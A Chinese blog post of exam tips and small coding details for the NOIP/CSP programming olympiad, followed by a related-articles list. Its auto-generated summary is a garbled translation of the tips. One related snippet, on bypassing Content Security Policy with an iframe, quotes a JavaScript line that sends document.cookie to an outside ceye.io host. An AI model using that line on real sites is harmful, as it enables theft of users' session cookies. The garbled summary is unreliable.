NOIP(CSP)答题技巧&小细节

摘要:
Dev-c++魔法函数4。关于平均值为x的数列的平均值,可以从每个数中减去x,得到最大平均值。当你从每个数字中减去平均值时,你可以把平均值分成两部分。5.二进制/最小生成树可以看到“最大-最小”或“最小-最大”。考虑二进制或最小生成树。6.大数组定义应尝试定义全局大数组。在递归中定义大数组并等待堆栈爆炸。。。

1.主函数类型

通常使用int main(),然而可以使用完全等价的signed main()

解锁 #define int long long  的操作

2.long long 的使用

数列长度/边数 * 最大点权爆掉int就要使用ll

注意使用long long的时候更改最大值

3.编译器配置

有的时候编译器能查出很多错

第一次安装Dev-c++编译器如何设置?Dev-c++神奇功能

4.关于平均值

求平均值为x的数列 可以将每个数都减去x

求最大平均值时可以二分平均值在把每个数都减去平均值

5.二分/最小生成树

看到“最大值最小”或“最小值最大”

考虑二分或最小生成树

6.大数组定义

尽量定义全局的大数组

在递归里定义大数组等着爆栈就行。。。

7.优化

比如尽量写a%=b而不写a = a%b

模数用const定义会变快(防止被卡)

8.防止爆零

别忘了套文件夹,提交之前核对一遍文件输入输出

万能头最好别用,iostream少用,必须带cstdio

删除所有调试输出

9.某些套路

通常最后一题会考二分

最好不写cin cout

云端笔记本,欢迎补充~~

免责声明:文章转载自《NOIP(CSP)答题技巧&小细节》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇python脚本检查ssl证书过期时间CSS背景属性下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

CSP/NOIP c++常用模板

蒟蒻目前还是提高组选手,模板将会持续更新!目录: 线段树 对拍 exgcd st 树状数组 树剖 dijsktra spfa tarjan 匈牙利 埃筛 差分树状数组 dinic 快速幂取余 Exgcd #include<bits/stdc++.h> using namespace std; int exgcd(int a,int b,int...

Web安全之CSP

内容安全策略(Content-Security-Policy,简称CSP) 概念:          内容安全策略(CSP)是一种web应用技术用于帮助缓解大部分类型的内容注入攻击,包括XSS攻击和数据注入等,这些攻击可实现数据窃取、网站破坏和作为恶意软件分发版本等行为。该策略可让网站管理员指定客户端允许加载的各类可信任资源。 浏览器支持:   统计来源:...

About Cryptography

Microsoft® Cryptography CSPs In Microsoft Windows, a Cryptographic Service Provider (CSP) is a software library that implements the Microsoft CryptoAPI (CAPI). Each CSP has a key...

dll签名两种方法

以下两种签名方法,都是对csp.dll签名,都不是CA颁发的,且效果不同, 一:通过自建证书签名 下载windows sdk,成功安装后,包括makecert.exe, cert2spc.exe, pvk2pfx.exe, signtool.exe工具,将要签名的csp.dll也放入工具文件夹,cmd命令切换到工具文件夹。再运行以下命令 1.生成签名证...

CCF CSP 201403-2 窗口

CCF计算机职业资格认证考试题解系列文章为meelo原创,请务必以链接形式注明本文地址 CCF CSP 201403-2 窗口 问题描述 在某图形操作系统中,有 N 个窗口,每个窗口都是一个两边与坐标轴分别平行的矩形区域。窗口的边界上的点也属于该窗口。窗口之间有层次的区别,在多于一个窗口重叠的区域里,只会显示位于顶层的窗口里的内容。当你点击屏幕上一个点的时...

通过iframe标签绕过csp

iframe.php代码如下: allow-popups开启时,window.open就可以打开新的窗口。 看csp规则,默认是在当前域内,如果这是一个ctf题的话,就很简单了,window.location.href='http://aa.xxxx.ceye.io?'+document.cookie;能把cookie传出来。 但是要是远程加载js文件是不...